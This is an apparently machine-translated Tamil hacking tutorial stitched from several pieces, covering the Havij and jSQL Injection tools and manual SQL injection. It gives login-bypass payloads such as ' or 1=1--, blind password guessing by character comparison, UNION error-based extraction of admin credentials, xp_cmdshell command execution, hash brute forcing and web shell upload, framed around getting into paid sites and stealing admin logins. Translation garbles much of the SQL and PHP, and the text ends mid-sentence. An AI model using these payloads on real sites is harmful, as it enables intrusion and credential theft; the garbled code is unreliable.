sql ஊசிகளுக்கான திட்டம். காளி லினக்ஸில் SQL ஊசிகளைக் கண்டறிந்து பயன்படுத்துவதற்கான மல்டிஃபங்க்ஸ்னல் கருவியான jSQL Injectionஐப் பயன்படுத்துவதற்கான வழிமுறைகள். jSQL இன்ஜெக்ஷன் பயன்படுத்தி ப்ரூட் ஃபோர்சிங் ஹாஷ்கள்

ஹவிஜ் என்பது இணையதள பாதிப்புகளை சரிபார்க்கும் ஒரு திட்டமாகும். பெரும்பாலும், இது அதன் முக்கிய நோக்கத்திற்காக பயன்படுத்தப்படுவதில்லை, அதாவது, SQL ஊசிகளை செலுத்துவதற்கு. இதன் காரணமாகவே இந்த கருவி பெரும்பாலும் "ஹேக்கிங்" மென்பொருளாக வகைப்படுத்தப்படுகிறது.

செயல்பாட்டின் கொள்கை

இந்த அப்ளிகேஷனைப் பயன்படுத்தி, SQL எக்ஸ்ப்ரெஷனை concontenation மூலம் மாற்ற, இணையச் சேவையின் மீது தாக்குதல்களை மேற்கொள்ளலாம். வெற்றிகரமாக இருந்தால், உங்கள் சொந்த தேவைகளுக்கு ஏற்ப பயனர் கோரிக்கையை செயல்படுத்துவதற்கான தர்க்கத்தை மாற்றியமைக்க ஊசி உங்களை அனுமதிக்கிறது. பெரும்பாலும், தாக்குதலின் போது, ​​தரவுத்தளத்தின் எளிய கைரேகை உருவாக்கப்படுகிறது, அதன் பிறகு தேவையான தரவு அதிலிருந்து இறக்குமதி செய்யப்படுகிறது, எடுத்துக்காட்டாக, ஒரு பயனர் தரவுத்தளம் அல்லது நிர்வாகி கணக்கு. பாதிப்புகள் இருந்தால், தாக்குபவர் வலை பயன்பாட்டின் பின்-இறுதிப் பகுதியுடன் கூட தொடர்பு கொள்ளலாம். குறிப்பாக, அத்தகைய செயல்படுத்தல் சேவையகத்தில் தேவையான கட்டளைகளை இயக்க அல்லது ஹோஸ்ட் பக்கத்தில் தேவையான கோப்புகளைப் பார்க்க உதவுகிறது.

சாத்தியங்கள்

கடவுச்சொல் ஹாஷ்கள் மற்றும் டேபிள் டம்ப்களை சேமிக்க ஹவிஜ் உங்களை அனுமதிக்கிறது. நிரல் பல்வேறு வகையான ஊசிகளைச் செய்ய உங்களை அனுமதிக்கிறது: பிழை அடிப்படையிலான SQL ஊசி, UNION வினவல் SQL ஊசி, அடுக்கப்பட்ட வினவல்கள் SQL ஊசி, நேர அடிப்படையிலான குருட்டு SQL ஊசி மற்றும் பூலியன் அடிப்படையிலான குருட்டு SQL ஊசி. கருவி HTTPS உடன் வேலை செய்கிறது மற்றும் பல்வேறு DBMS வகைகளை ஆதரிக்கிறது: MSAccess, MySQL, Oracle, PostgreSQ மற்றும் Sybase. தேவைப்பட்டால், ஹவிஜ் ப்ராக்ஸி மூலம் பல திரிகளில் வேலை செய்யலாம்.

உட்பொதிக்கப்பட்ட குறியீட்டின் தொடரியல் கைமுறையாகத் திருத்தப்படலாம். மேலும், தாக்குதலைத் தொடங்குவதற்கு முன், தேடப்பட்ட முக்கிய வார்த்தைகள், அட்டவணை நெடுவரிசைகள் அல்லது தரவு வகைகளின் பட்டியலைத் தேர்ந்தெடுக்க நீங்கள் அனுமதிக்கப்படுவீர்கள் (எடுத்துக்காட்டாக, முழு எண்கள் அல்லது பின்னங்கள்).

செயல்பாட்டின் போது, ​​ஹவிஜ் நிகழ்த்தப்பட்ட செயல்பாடுகளின் விரிவான பதிவை வைத்திருக்கிறார், அவை தாக்குதல் முடிந்த பிறகு நிரல் கோப்புறையில் சேமிக்கப்படும். பயன்பாட்டின் இடைமுகம் மிகவும் உள்ளுணர்வுடன் உள்ளது, மேலும் அனைத்து முக்கிய கட்டுப்பாடுகளும் ஒரு சாளரத்தில் பொருந்தும்.

முக்கிய அம்சங்கள்

  • தேவையான தொடரியல் மூலம் SQL ஊசிகளைச் செய்தல்;
  • பல்வேறு செயல்படுத்தல் விருப்பங்களுக்கான ஆதரவு;
  • இணையதளம் மற்றும் பயன்பாட்டு பாதிப்புகளைத் தேடுதல்;
  • பல்வேறு வகையான DBMS உடன் பணிபுரியும் திறன்;
  • HTTPS மற்றும் ப்ராக்ஸி ஆதரவு.

SQL ஊசிஒரு ஹேக்கர் பெற ஒரு நல்ல வாய்ப்பு
சேவையகத்திற்கான அணுகல். மற்றும் ஒரு சிறிய முயற்சி, அவர்
இன்னும் கிடைக்கிறது :)

உள்ளே கோடர்

இப்போதெல்லாம், தரவுத்தளங்களுடன் பணிபுரிவது ஆதரிக்கப்படுகிறது
ஏறக்குறைய அனைத்து நிரலாக்க மொழிகளிலும், அடிப்படை, C++, Java, PERL, PHP, Assembler மற்றும் JavaScript ஆகியவை அடங்கும்! இந்த திட்டங்கள் DBMS - தரவுத்தள மேலாண்மை அமைப்புகளைத் தவிர வேறொன்றுமில்லை. நிதிச் சிக்கல்களைத் தீர்க்க தரவுத்தளங்கள் பெரும்பாலும் பயன்படுத்தப்படுகின்றன.
கணக்கியல், பணியாளர் அமைப்பு, ஆனால் அவர்கள் இணையத்தில் தங்கள் விண்ணப்பத்தை கண்டுபிடித்துள்ளனர்.

இணைய பயன்பாடுகளை எழுத தரவுத்தளங்கள் பெரும்பாலும் பயன்படுத்தப்படுகின்றன. பயனர் பதிவு தரவு, அமர்வு அடையாளங்காட்டிகள், தேடல்களை ஒழுங்கமைத்தல் மற்றும் கூடுதல் செயலாக்கம் தேவைப்படும் பிற பணிகளுக்கு அவற்றின் பயன்பாடு மிகவும் பொருத்தமானது.
தரவு அளவு. தரவுத்தளத்தை அணுக, சேவையக தொழில்நுட்பங்கள் பயன்படுத்தப்படுகின்றன: PHP, PERL, ASP போன்றவை. இங்குதான் வேடிக்கை தொடங்குகிறது. சர்வரில் இருக்கும் போது
அனைத்து இணைப்புகளும் நிறுவப்பட்டு, போர்ட் 80 தவிர அனைத்து போர்ட்களையும் ஃபயர்வால் தடுக்கிறது அல்லது சில தரவை அணுக அங்கீகாரம் தேவைப்படும்போது, ​​ஹேக்கர் SQL ஊசியைப் பயன்படுத்தி ஹேக் செய்யலாம். இந்த தாக்குதலின் சாராம்சம், WEB தொழில்நுட்பங்கள் மற்றும் SQL ஆகியவற்றின் சந்திப்பில் ஒரு பிழையைப் பயன்படுத்துவதாகும். உண்மை என்னவென்றால், பயனர் தரவை செயலாக்குவதற்கான பல வலைப்பக்கங்கள் ஒரு சிறப்பு உருவாக்குகின்றன SQLதரவுத்தள கோரிக்கை. இந்த நுட்பத்தை கவனக்குறைவாகப் பயன்படுத்துவது மிகவும் சுவாரஸ்யமான முடிவுகளுக்கு வழிவகுக்கும்.

SQL ஊசி

தாக்குதலை விளக்க, நீங்கள் ஒரு மிக முக்கியமான கருவியைப் பதிவிறக்கம் செய்ய தளத்திற்குச் சென்றீர்கள் என்று கற்பனை செய்து பாருங்கள், பதிவுசெய்யப்பட்ட பயனர் மட்டுமே இதைச் செய்ய முடியும் என்பதை திகிலுடன் கவனிக்கவும், மேலும் பதிவு செய்வதற்கு நிச்சயமாக பணம் செலவாகும் 🙂 உங்கள் கடைசியாக சம்பாதித்த பணம், ஆனால் நிரல் இல்லாமல் நீங்கள் அதை செய்ய முடியாது! எப்படி என்பதை நினைவில் கொள்ள வேண்டிய நேரம் இது
அணுகல் தரவுத்தளங்கள் SQL. எடுத்துக்காட்டாக, PHP இல் உங்கள் உள்நுழைவு மற்றும் கடவுச்சொல்லைச் சரிபார்ப்பது இப்படி இருக்கலாம்:

$result=mysql_db_query($db,"தேர்வு * $டேபிளில் இருந்து எங்கு பயனர் = "$login" மற்றும்
பாஸ்="$ கடவுச்சொல்"");
$num_rows=mysql_num_rows($result);
mysql_close($link);
என்றால் ($num_rows!=0)
{
// அங்கீகாரம் சரி
}
வேறு
{
// அங்கீகாரப் பிழை
}

நான் இரண்டு கருத்துகளைச் சேர்த்தேன், "அங்கீகாரம் சரி" - அதற்கு பதிலாக நான் சேர்க்க வேண்டும்
கடவுச்சொல் மற்றும் உள்நுழைவு சரியாக இருந்தால் செயல்படுத்தப்படும் குறியீட்டிற்குச் செல்லவும். மற்றொரு "அங்கீகரித்தல் பிழை" என்பது, அவை தவறாக இருந்தால் செயல்படுத்தப்படும் குறியீடு விவரிக்கப்படும் இடமாகும். நீங்கள் படிவத்தை நிரப்பினால், கோரிக்கை "http://www.server.com?login=user&password=31337" போல் தோன்றும், இங்கு www.server.com என்பது பெயர்
நாங்கள் இணைக்க முயற்சிக்கும் சர்வர். நாங்கள் தேடுவதை நாங்கள் கண்டுபிடித்தோம், எனவே நாங்கள் மீண்டும் வேலைக்குத் திரும்புவோம் SQL. எனவே, அங்கீகாரத்திற்கான உள்நுழைவு மற்றும் கடவுச்சொல்லை நீங்கள் குறிப்பிட வேண்டும் என்றால், உருவாக்கப்பட்டவை SQLகோரிக்கை இப்படி இருக்கும்:

உள்நுழைய = "பயனர்" மற்றும் பயனர்களிடமிருந்து * தேர்ந்தெடுக்கவும்
கடவுச்சொல்="31337"

இதன் பொருள் இது போன்றது: பயனர் தரவுத்தளத்தில் உள்ள அனைத்து பதிவுகளையும் என்னிடம் திருப்பி அனுப்பவும், அதன் உள்நுழைவு "பயனர்" மற்றும் கடவுச்சொல் "31337" ஆகும். அத்தகைய பதிவு இருந்தால், பயனர் பதிவு செய்யப்பட்டார், ஆனால் இல்லை என்றால், இல்லை ... ஆனால் சில சூழ்நிலைகளில், எல்லாவற்றையும் சரிசெய்ய முடியும். அனுப்பப்பட்ட தரவின் உள்ளடக்கங்களை பயன்பாடு சரிபார்க்காத அல்லது இருப்புநிலையை முழுமையாக சரிபார்க்காத சூழ்நிலையை இது குறிக்கிறது. SQLஅறிவுறுத்தல்கள். இந்த எடுத்துக்காட்டில், உள்நுழைவு மற்றும் கடவுச்சொல் ஆகிய இரண்டு புலங்கள் சரிபார்க்கப்படுகின்றன, ஆனால் நீங்கள் "31337" மற்றும் மின்னஞ்சல் = கடவுச்சொல்லைக் குறிப்பிட்டால் [மின்னஞ்சல் பாதுகாக்கப்பட்டது]"(இரட்டை மேற்கோள்கள் இல்லாமல்), பின்னர் வினவல் சற்று வித்தியாசமாக மாறும்:

உள்நுழைய = "பயனர்" மற்றும் கடவுச்சொல் = "31337" மற்றும் பயனர்களிடமிருந்து * தேர்ந்தெடுக்கவும்
மின்னஞ்சல்=" [மின்னஞ்சல் பாதுகாக்கப்பட்டது]"

மின்னஞ்சல் புலம் இருந்தால், இந்த நிபந்தனையும் சரிபார்க்கப்படும். பூலியன் இயற்கணிதத்தின் அடிப்படைகளை நீங்கள் நினைவில் வைத்திருந்தால், "மற்றும்" செயல்பாட்டிற்கு கூடுதலாக, ஒரு "அல்லது" உள்ளது என்பது உங்கள் நினைவுக்கு வருகிறது, மேலும் அவற்றின் பயன்பாடு SQL ஆல் ஆதரிக்கப்படுவதால், உங்களால் முடியும்
விவரிக்கப்பட்ட வழியில், எப்போதும் உண்மையாக இருக்கும் ஒரு நிபந்தனையைச் சேர்க்கவும். இதைச் செய்ய, நீங்கள் உள்நுழைவாக “பயனர்” அல்லது 1=1--ஐக் குறிப்பிட வேண்டும், அப்படியானால் கோரிக்கை படிவத்தை எடுக்கும்:

உள்நுழைய = "பயனர்" அல்லது 1=1--" மற்றும் பயனர்களிடமிருந்து * தேர்ந்தெடுக்கவும்
கடவுச்சொல்="31337"

முதலில் நீங்கள் "--" என்பது கோரிக்கையின் முடிவு மற்றும் "--" க்குப் பிறகு அனைத்தையும் குறிக்கிறது.
செயலாக்கப்படாது! நாங்கள் ஒரு கோரிக்கையை வைத்துள்ளோம் என்று மாறிவிடும்:

உள்நுழைய = "பயனர்" அல்லது 1=1 பயனர்களிடமிருந்து * தேர்ந்தெடுக்கவும்

நீங்கள் பார்க்கிறபடி, நாங்கள் “1=1” என்ற நிபந்தனையைச் சேர்த்துள்ளோம், அதாவது “உள்நுழைவு “பயனர்” அல்லது 1=1” என சரிபார்ப்பு அளவுகோல் இருக்கும், ஆனால் 1 எப்போதும் 1 க்கு சமம் (விதிவிலக்கு டானி ஷெபோவலோவின் எண்கணிதமாக இருக்கலாம் :)). எங்கள் சந்தேகங்களை சோதிக்க
முகவரிப் பட்டியில் "http://www.server.com?login=user அல்லது 1=1--&password=31337" ஐ உள்ளிடவும். நாங்கள் எந்த உள்நுழைவைக் குறிப்பிட்டோம் என்பது முக்கியமல்ல என்பதற்கு இது வழிவகுக்கிறது, ஆனால்
குறிப்பாக கடவுச்சொல்! நாங்கள் மேட்ரிக்ஸில், கணினியில் இருக்கிறோம், மேலும் நமக்குத் தேவையானதை அமைதியாக பதிவிறக்கம் செய்யலாம்.

ஆனால் இவை அனைத்தும் கோட்பாட்டில் உள்ளது. நடைமுறையில், கோரிக்கை எவ்வாறு உருவாகிறது, என்ன தரவு அனுப்பப்படுகிறது மற்றும் எந்த வரிசையில் உள்ளது என்பது எங்களுக்குத் தெரியாது. எனவே, அனைத்து புலங்களுக்கும் "பயனர்" அல்லது 1=1--" என்பதை நீங்கள் குறிப்பிட வேண்டும். மறைக்கப்பட்ட புலங்களுக்கான சமர்ப்பிப்பு படிவத்தையும் நீங்கள் சரிபார்க்க வேண்டும். HTML இல் அவை "" என விவரிக்கப்பட்டுள்ளன. ". ஏதேனும் இருந்தால், பக்கத்தைச் சேமித்து, இந்தப் புலங்களின் மதிப்புகளை மாற்றவும். அவற்றில் உள்ள மதிப்புகள் SQL அறிக்கைகள் உள்ளனவா என்பதைச் சரிபார்க்க மறந்துவிடுகின்றன. ஆனால் அனைத்தும் செயல்பட, நீங்கள் முழுமையாகக் குறிப்பிட வேண்டும். இந்த கோரிக்கையை செயல்படுத்தும் "ACTION" அளவுருவுக்கான படிவத்தில் ("FORM" டேக்) ஸ்கிரிப்ட்டுக்கான பாதை.

ஆனால் கோரிக்கை எவ்வாறு உருவாகிறது என்பது எப்போதும் தெரியவில்லை.
முந்தைய உதாரணம் பின்வரும் வழிகளில் உருவாக்கப்படலாம்:

எங்கு உள்ள பயனர்களிடமிருந்து * தேர்ந்தெடுக்கவும் (உள்நுழைவு = "பயனர்" மற்றும் கடவுச்சொல் = "31337")
உள்நுழைய = "பயனர்" மற்றும் கடவுச்சொல் = "31337" பயனர்களிடமிருந்து * தேர்ந்தெடுக்கவும்
உள்நுழைவு=பயனர் மற்றும் கடவுச்சொல்=31337 உள்ள பயனர்களிடமிருந்து * தேர்ந்தெடுக்கவும்

இந்த வழக்கில், நீங்கள் பின்வரும் விருப்பங்களை முயற்சி செய்யலாம்:

"அல்லது 1=1--
"அல்லது 1=1--
அல்லது 1=1--
" அல்லது "a"="a
" அல்லது "a"="a
") அல்லது ("a"="a
அல்லது "1"="1"

இது அனைத்தும் ஸ்கிரிப்ட்டின் நோக்கம் மற்றும் புரோகிராமரைப் பொறுத்தது. ஒவ்வொரு நபரும் தனது சொந்த வழியில் எல்லாவற்றையும் செய்ய முனைவதால், புரோகிராமர் எளிதான விருப்பத்தை தேர்வு செய்ய மாட்டார். எனவே நீங்கள் உடனடியாக செய்யக்கூடாது
நீங்கள் நிராகரிக்கப்பட்டால் விட்டுவிடுங்கள். அவசியமானது
முடிந்தவரை பல விருப்பங்களை முயற்சிக்கவும்...

கடவுச்சொல் கண்டறிதல்

அங்கீகாரத்தைத் தவிர்ப்பது மோசமானதல்ல, ஆனால் பெரும்பாலும் நீங்கள் பயன்படுத்தும் துளை மூடப்பட்டிருக்கும், மேலும் உங்களுக்குக் கிடைத்த அனைத்தும் இழக்கப்படும்.
புரோகிராமர் ஒரு முட்டாள் இல்லை என்றால் இது எதிர்பார்க்கப்படுகிறது
காலப்போக்கில் அது எல்லா ஓட்டைகளையும் மூடிவிடும். முன்கூட்டியே கவனித்துக்கொள்வதன் மூலம் இதுபோன்ற சூழ்நிலைகளில் இருந்து எளிதாக விடுபடலாம். கடவுச்சொல்லை யூகிப்பதே சரியான தீர்வாக இருக்கலாம்
அங்கீகார முடிவுகளின் பகுப்பாய்வு. முதலில், கடவுச்சொல்லை யூகிக்க முயற்சிப்போம், இதைச் செய்ய, அதன் இருப்பிடத்தை உள்ளிடவும்:

"அல்லது கடவுச்சொல்>" a

அங்கீகாரம் நிறைவேற்றப்பட்டதாகச் சொன்னால், கடவுச்சொல்
"a" என்ற எழுத்தில் தொடங்கவில்லை, ஆனால் பட்டியலில் உள்ள பின்வருவனவற்றில் ஒன்றுடன். நாம் நகர்த்த மற்றும் மாற்று
இடம் "a", அடுத்த "b", "c", "d", "e"... etc. கடவுச்சொல் சரியாக இல்லை என்று அவர்கள் சொல்லும் வரை. இந்த செயல்முறை "x" என்ற எழுத்தில் நிறுத்தப்படட்டும், இந்த விஷயத்தில் சூழ்நிலையின் வளர்ச்சிக்கான இரண்டு விருப்பங்கள் உருவாக்கப்படுகின்றன: கடவுச்சொல் கண்டுபிடிக்கப்பட்டது அல்லது கடவுச்சொல் இந்த எழுத்தில் தொடங்குகிறது. முதல் விருப்பத்தை சரிபார்க்க, கடவுச்சொல் இருப்பிடத்தை எழுதவும்:

"அல்லது கடவுச்சொல்="x

மற்றும் கடவுச்சொல் ஏற்றுக்கொள்ளப்பட்டு நீங்கள் அனுமதிக்கப்பட்டால், நீங்கள் கடவுச்சொல்லை யூகித்தீர்கள்! சரி, இல்லை, நீங்கள் இரண்டாவது எழுத்தைத் தேர்ந்தெடுக்க வேண்டும்,
ஆரம்பத்திலிருந்தே அதேதான். இரண்டு எழுத்துக்களைச் சரிபார்க்கவும்
அதே வேண்டும். இறுதியில், நீங்கள் கடவுச்சொல்லைப் பெறுவீர்கள், அதே வழியில் உள்நுழைவைத் தேடுவீர்கள் :)
கண்டுபிடிக்கப்பட்ட கடவுச்சொல் மற்றும் உள்நுழைவு உங்களுக்கு பொருந்தவில்லை என்றால், நீங்கள் மற்றவர்களைக் கண்டறியலாம். இதைச் செய்ய, கண்டுபிடிக்கப்பட்ட கடவுச்சொல்லின் கடைசி எழுத்திலிருந்து நீங்கள் சரிபார்க்கத் தொடங்க வேண்டும். எனவே, கடவுச்சொல் "xxx" ஆக இருந்தால், கடவுச்சொல் இருப்பதை சரிபார்க்க வேண்டியது அவசியம்
"xxxy":

"அல்லது கடவுச்சொல்="xxx

ஒன்றுக்கு மேற்பட்ட விருப்பங்களை தவறவிடாமல் இருக்க!

MS SQL சர்வர்

MS SQL சேவையகம் பொதுவாக தேவையான வடிகட்டலைத் தவறவிட்டால் அது ஒரு கடவுளின் வரம். SQL ஊசி பாதிப்பைப் பயன்படுத்தி நீங்கள் செயல்படுத்தலாம்
exec master..xp_cmdshell ஐப் பயன்படுத்தி ரிமோட் சர்வரில் கட்டளைகள். ஆனால் இந்த வடிவமைப்பைப் பயன்படுத்த
SELECT செயல்பாடு முடிக்கப்பட வேண்டும். SQL இல், அறிக்கைகள் அரைப்புள்ளிகளால் பிரிக்கப்படுகின்றன. எனவே, டெல்நெட் வழியாக சில ஐபியுடன் இணைக்க, நீங்கள் கடவுச்சொல்/உள்நுழைவை தட்டச்சு செய்ய வேண்டும்:

"; exec master..xp_cmdshell "telnet 192.168.0.1" --

MS SQL சேவையகம் தரவுத்தளத்தில் சேமிக்கப்பட்ட உள்நுழைவுகள் மற்றும் கடவுச்சொற்களைக் கண்டறிய உங்களை அனுமதிக்கும் பல சுவாரஸ்யமான அம்சங்களைக் கொண்டுள்ளது. இதைச் செய்ய, பிழை வெளியீடு தன்னிச்சையான சேவையகத்திற்கு திருப்பி விடப்படும் மற்றும் அவற்றின் மூலம்
பகுப்பாய்வு, நீங்கள் அட்டவணையின் பெயர், புலங்கள் மற்றும் அவற்றின் வகைகளைக் கண்டறியலாம். அதன் பிறகு நீங்கள் கோரலாம்

" யூனியன் பயனர்களிடமிருந்து முதல் 1 உள்நுழைவைத் தேர்ந்தெடுக்கவும்--

(உள்நுழைவு என்பது உள்நுழைவைக் கொண்ட புலத்தின் பெயர், மற்றும் பயனர்கள் என்பது அட்டவணையின் பெயர்,
பிழை பகுப்பாய்வு செயல்பாட்டில் அரை விஞ்ஞானிகள்).

பதில் இருக்கலாம்:


nvarchar மதிப்பை மாற்றுவதில் தொடரியல் பிழை "admin" to a column of data type int. !}
/default.asp, வரி 27

இப்போது "நிர்வாகம்" என்ற பெயரில் ஒரு பயனர் இருப்பதை நாம் அறிவோம். இப்போது நாம் அவருடைய கடவுச்சொல்லைப் பெறலாம்:

" UNION உள்நுழைய = "admin"-- பயனர்களிடமிருந்து முதல் 1 கடவுச்சொல்லைத் தேர்ந்தெடுக்கவும்

விளைவாக:

ODBC டிரைவர்களுக்கான மைக்ரோசாஃப்ட் OLE DB வழங்குநர் பிழை "80040e07"
nvarchar மதிப்பை மாற்றுவதில் தொடரியல் பிழை "xxx" to a column of data type int. !}
/tedault.asp, வரி 27

"xxx" கடவுச்சொல்லுடன் "நிர்வாகி" என்ற பயனர் இருப்பதை இப்போது நாம் அறிவோம். இதன் மூலம் நீங்கள் பாதுகாப்பாக முடியும்
அதைப் பயன்படுத்தி கணினியில் உள்நுழையவும்

ஆனால் SQL உடன் பணிபுரிய பல செயல்பாடுகள் உள்ளன,
தரவுத்தளத்துடன் பணிபுரியும் போது, ​​​​நீங்கள் தரவை நீக்கலாம், அதை மாற்றலாம், உங்களுடையதைச் செருகலாம் மற்றும் கோப்புகளைக் கையாளலாம் மற்றும் பதிவேட்டில் வேலை செய்யலாம்.
பொதுவாக, SQL சர்வர் விதிகள் :)

பாதுகாப்பு

ஆனால் நிச்சயமாக இவை அனைத்தையும் தவிர்க்கலாம். இதைச் செய்ய, உங்களால் முடியும்
வடிகட்டிகளைப் பயன்படுத்தவும்,
உற்பத்தியாளர்களால் வழங்கப்படுகிறது. உங்கள் சொந்த தீர்வுகளை நீங்கள் காணலாம், எடுத்துக்காட்டாக, அனைத்து ஒற்றை மாற்றும்
இரட்டை மேற்கோள்கள் (என்றால் SQLநாங்கள் ஒற்றை ஒன்றைப் பயன்படுத்துமாறு கோருகிறோம்), அல்லது நேர்மாறாகவும். நீங்கள் உள்ளிட வேண்டும் என்றால், கடிதங்கள் மற்றும் s@baki ஆகியவற்றை மட்டுமே பயன்படுத்த அனுமதிக்க முடியும்
மின்னஞ்சல் முகவரி. மற்றும் முத்து ஒரு அற்புதமான உள்ளது
DBI ::DBD தொகுதியில் உள்ள 🙂 மேற்கோள்() செயல்பாடு, இது தொடர்பான உங்கள் வினவலை வெற்றிகரமாகப் பாதுகாக்கிறது SQL. பல தீர்வுகள் உள்ளன, உங்களுக்கு அவை தேவை
பயன்படுத்தி கொள்ள. இல்லாவிட்டால் ஏன் இதெல்லாம்...

பதிவிறக்கம் செய்யப்பட்ட கோப்பை இருமுறை கிளிக் செய்வதன் மூலம் இயக்கவும் (உங்களிடம் மெய்நிகர் இயந்திரம் இருக்க வேண்டும்).

3. SQL உட்செலுத்தலுக்கான தளத்தைச் சரிபார்க்கும்போது பெயர் தெரியாத நிலை

காளி லினக்ஸில் Tor மற்றும் Privoxy ஐ அமைத்தல்

[பிரிவு வளர்ச்சியில் உள்ளது]

Windows இல் Tor மற்றும் Privoxy ஐ அமைத்தல்

[பிரிவு வளர்ச்சியில் உள்ளது]

jSQL ஊசியில் ப்ராக்ஸி அமைப்புகள்

[பிரிவு வளர்ச்சியில் உள்ளது]

4. jSQL ஊசி மூலம் SQL உட்செலுத்தலுக்கான தளத்தைச் சரிபார்க்கிறது

நிரலுடன் பணிபுரிவது மிகவும் எளிது. இணையதள முகவரியை உள்ளிட்டு ENTER ஐ அழுத்தவும்.

மூன்று வகையான SQL ஊசிகளுக்கு தளம் பாதிக்கப்படக்கூடியது என்பதை பின்வரும் ஸ்கிரீன்ஷாட் காட்டுகிறது (அவற்றைப் பற்றிய தகவல் கீழ் வலது மூலையில் சுட்டிக்காட்டப்பட்டுள்ளது). ஊசிகளின் பெயர்களைக் கிளிக் செய்வதன் மூலம் நீங்கள் பயன்படுத்திய முறையை மாற்றலாம்:

மேலும், ஏற்கனவே உள்ள தரவுத்தளங்கள் ஏற்கனவே எங்களுக்கு காட்டப்பட்டுள்ளன.

ஒவ்வொரு அட்டவணையின் உள்ளடக்கங்களையும் நீங்கள் பார்க்கலாம்:

பொதுவாக, அட்டவணைகளில் மிகவும் சுவாரஸ்யமான விஷயம் நிர்வாகி நற்சான்றிதழ்கள்.

நீங்கள் அதிர்ஷ்டசாலி மற்றும் நிர்வாகியின் தரவைக் கண்டறிந்தால், மகிழ்ச்சியடைவது மிக விரைவில். இந்தத் தரவை உள்ளிடுவதற்கான நிர்வாகக் குழுவை நீங்கள் இன்னும் கண்டுபிடிக்க வேண்டும்.

5. jSQL ஊசி மூலம் நிர்வாக பேனல்களைத் தேடவும்

இதைச் செய்ய, அடுத்த தாவலுக்குச் செல்லவும். சாத்தியமான முகவரிகளின் பட்டியலுடன் நாங்கள் வரவேற்கப்படுகிறோம். சரிபார்க்க ஒன்று அல்லது அதற்கு மேற்பட்ட பக்கங்களை நீங்கள் தேர்ந்தெடுக்கலாம்:

நீங்கள் மற்ற நிரல்களைப் பயன்படுத்தத் தேவையில்லை என்பதில் வசதி உள்ளது.

துரதிர்ஷ்டவசமாக, தெளிவான உரையில் கடவுச்சொற்களை சேமிக்கும் கவனக்குறைவான புரோகிராமர்கள் அதிகம் இல்லை. கடவுச்சொல் வரிசையில் அடிக்கடி நாம் ஏதாவது பார்க்கிறோம்

8743b52063cd84097a65d1633f5c74f5

இது ஒரு ஹாஷ். முரட்டு சக்தியைப் பயன்படுத்தி நீங்கள் அதை மறைகுறியாக்கலாம். மேலும்... jSQL ஊசியில் உள்ளமைக்கப்பட்ட ப்ரூட் ஃபோர்சர் உள்ளது.

6. jSQL ஊசியைப் பயன்படுத்தி ப்ரூட் ஃபோர்ஸ் ஹாஷ்கள்

சந்தேகத்திற்கு இடமில்லாத வசதி என்னவென்றால், நீங்கள் மற்ற நிரல்களைத் தேட வேண்டியதில்லை. மிகவும் பிரபலமான பல ஹாஷ்களுக்கு ஆதரவு உள்ளது.

இது சிறந்த வழி அல்ல. ஹாஷ்களை டிகோடிங் செய்வதில் குரு ஆக, ரஷ்ய மொழியில் "" புத்தகம் பரிந்துரைக்கப்படுகிறது.

ஆனால், நிச்சயமாக, கையில் வேறு நிரல் இல்லாதபோது அல்லது படிக்க நேரமில்லாத போது, ​​jSQL ஊசி அதன் உள்ளமைக்கப்பட்ட ப்ரூட் ஃபோர்ஸ் செயல்பாடு மிகவும் பயனுள்ளதாக இருக்கும்.

அமைப்புகள் உள்ளன: கடவுச்சொல்லில் எந்த எழுத்துக்கள் சேர்க்கப்பட்டுள்ளன, கடவுச்சொல் நீள வரம்பில் நீங்கள் அமைக்கலாம்.

7. SQL ஊசிகளைக் கண்டறிந்த பிறகு கோப்பு செயல்பாடுகள்

தரவுத்தளங்களுடனான செயல்பாடுகளுக்கு கூடுதலாக - அவற்றைப் படித்து மாற்றியமைத்தல், SQL ஊசி கண்டறியப்பட்டால், பின்வரும் கோப்பு செயல்பாடுகளைச் செய்ய முடியும்:

  • சர்வரில் கோப்புகளைப் படிக்கிறது
  • சேவையகத்தில் புதிய கோப்புகளைப் பதிவேற்றுகிறது
  • ஷெல்களை சர்வரில் பதிவேற்றுகிறது

இவை அனைத்தும் jSQL ஊசியில் செயல்படுத்தப்படுகிறது!

கட்டுப்பாடுகள் உள்ளன - SQL சர்வரில் கோப்பு சிறப்புரிமைகள் இருக்க வேண்டும். ஸ்மார்ட் சிஸ்டம் நிர்வாகிகள் அவற்றை முடக்கியுள்ளனர் மற்றும் கோப்பு முறைமைக்கான அணுகலைப் பெற முடியாது.

கோப்பு சலுகைகள் இருப்பதை சரிபார்க்க மிகவும் எளிது. தாவல்களில் ஒன்றிற்குச் சென்று (கோப்புகளைப் படித்தல், ஷெல் உருவாக்குதல், புதிய கோப்பைப் பதிவேற்றுதல்) மற்றும் குறிப்பிட்ட செயல்பாடுகளில் ஒன்றைச் செய்ய முயற்சிக்கவும்.

மற்றொரு மிக முக்கியமான குறிப்பு - நாம் வேலை செய்யும் கோப்பிற்கான சரியான முழுமையான பாதையை நாம் தெரிந்து கொள்ள வேண்டும் - இல்லையெனில் எதுவும் வேலை செய்யாது.

பின்வரும் ஸ்கிரீன்ஷாட்டைப் பாருங்கள்:

கோப்பில் செயல்படும் எந்தவொரு முயற்சிக்கும், பின்வரும் பதிலைப் பெறுவோம்: FILE சிறப்புரிமை இல்லை(கோப்பு சலுகைகள் இல்லை). மேலும் இங்கு எதுவும் செய்ய முடியாது.

அதற்கு பதிலாக வேறு பிழை இருந்தால்:

[directory_name] இல் எழுதுவதில் சிக்கல்

நீங்கள் கோப்பை எழுத விரும்பும் முழுமையான பாதையை நீங்கள் தவறாகக் குறிப்பிட்டுள்ளீர்கள் என்று அர்த்தம்.

ஒரு முழுமையான பாதையை யூகிக்க, சேவையகம் இயங்கும் இயக்க முறைமையை நீங்கள் தெரிந்து கொள்ள வேண்டும். இதைச் செய்ய, நெட்வொர்க் தாவலுக்கு மாறவும்.

அத்தகைய பதிவு (வரி Win64) நாங்கள் Windows OS உடன் கையாளுகிறோம் என்று கருதுவதற்கான காரணத்தை அளிக்கிறது:

Keep-Alive: timeout=5, max=99 Server: Apache/2.4.17 (Win64) PHP/7.0.0RC6 இணைப்பு: Keep-Alive முறை: HTTP/1.1 200 சரி உள்ளடக்க நீளம்: 353 தேதி: வெள்ளி, 11 டிசம்பர் 2015 11:48:31 GMT X-Powered-ஆல்: PHP/7.0.0RC6 உள்ளடக்க-வகை: text/html; எழுத்துக்குறி=UTF-8

இங்கே சில Unix (*BSD, Linux) உள்ளது:

